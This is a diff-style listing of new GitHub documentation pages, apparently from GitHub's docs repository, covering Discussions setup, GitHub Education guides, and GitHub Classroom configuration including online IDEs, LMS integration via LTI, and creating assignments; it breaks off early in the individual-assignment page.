content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom 